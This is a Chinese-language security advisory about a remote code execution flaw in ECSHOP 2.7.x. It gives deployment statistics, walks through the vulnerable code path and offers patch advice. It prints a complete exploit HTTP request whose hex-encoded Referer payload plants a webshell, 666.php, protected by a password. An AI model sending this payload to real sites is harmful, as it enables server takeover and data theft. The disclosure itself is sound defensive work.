【漏洞预警】ECSHOP多个版本远程代码执行漏洞

liudao  76天前

图片.png


8月31日,流行的购物系统-----ECSHOP被曝出远程代码执行漏洞。攻击者可利用代码执行漏洞远程在服务器上执行命令,从而控制服务器,获取敏感数据,甚至导致内网沦陷。该漏洞在2017就已经存在,最近才被公布,相关用户最好进行安全检查,及时确认是否被入侵并修复漏洞并去掉后门。ECShop是国内最流行的购物系统之一。是上海商派网络科技有限公司(ShopEx)旗下的B2C独立网店系统,基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。建议使用该系统的用户及时检查是否存在该漏洞,避免造成损失。


0x01 分布概况

目前根据FOFA统计,全球共计有21450个ECSHOP的用户

下面是全球分布情况(非漏洞影响情况),其中中国最多,大概有18400个,美国1735个,其他国家用户数量不多于300:

图片.png

下面是全球分布情况(非漏洞影响情况),其中浙江10563,北京2227,广东738,河南655:

图片.png

漏洞危害

严重

漏洞危害

非全版本受影响,仅在2.7.x版本受影响,3.0.x版本不存在该漏洞


0x02 漏洞原理

远程代码执行漏洞

该漏洞无需登录即可利用,由于display方法变量可控,再配合SQL注入即可达到代码执行,首先看user.php文件,把REFERER赋值给$back_act

图片.png

接着把$back_act传递给模板变量,然后调用display展示出来

图片.png

跟进dispaly方法,再display中又调用了insert_mod方法

图片.png跟进(/includes/cls_template.php文件中)insert_mod方法,返回了一个动态函数,这里可以把$fun赋值为"ads"

图片.png在(/includes/lib_insert.php文件中)insert_ads方法中,$arr['id']和$arr['num']这两个变量外部均可控,在构造攻击向量的过程中执行的SQL语句如下。可见$arr['id']和$arr['num']没有经过任何处理就插入到了SQL语句中

图片.png

调用了fetch方法,参数由$row['position_style']变量赋值,这一变量同样可控

图片.png

fetch中调用_eval方法,该方法可执行代码

图片.png

经过fetch_str、select、get_val,make_var方法,最终执行代码。这里说一下,如果存在代码执行,则肯定存在SQL注入,但对于利用的便捷性,还是代码执行用起来比较方便。

最终payload,会生成666.php,密码1233

GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a59324e6935776148416e4c4363385033426f6343426c646d46734b43526655453954564673784d6a4d7a58536b374944382b4a796b3d2729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

修复建议:

1 在官网上下载ECSHOP最新版。

2 在/includes/lib_insert.php文件中140,271,370行加上如下两行代码把可控变量进行强制类型转换即可。

图片.png

漏洞POC

目前FOFA客户端平台已经更新ECSHOP远程代码执行检测POC。

图片.png

参考

[1]http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

[2]https://fofa.so/result?qba se64=YXBwPSJFQ1Nob3Ai

[3]https://xz.aliyun.com/t/2689

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-大数据安全协作平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

最新评论

路人甲  :  这种利用**很有趣,也很经典。也是第一次见这样的漏洞。很**。
73天前 回复
昵称
邮箱
提交评论

友情链接:FOFA FOEYE BCSEC BAIMAOHUI 安全客 i春秋

nosec.org All Rights Reserved 京ICP备15042518号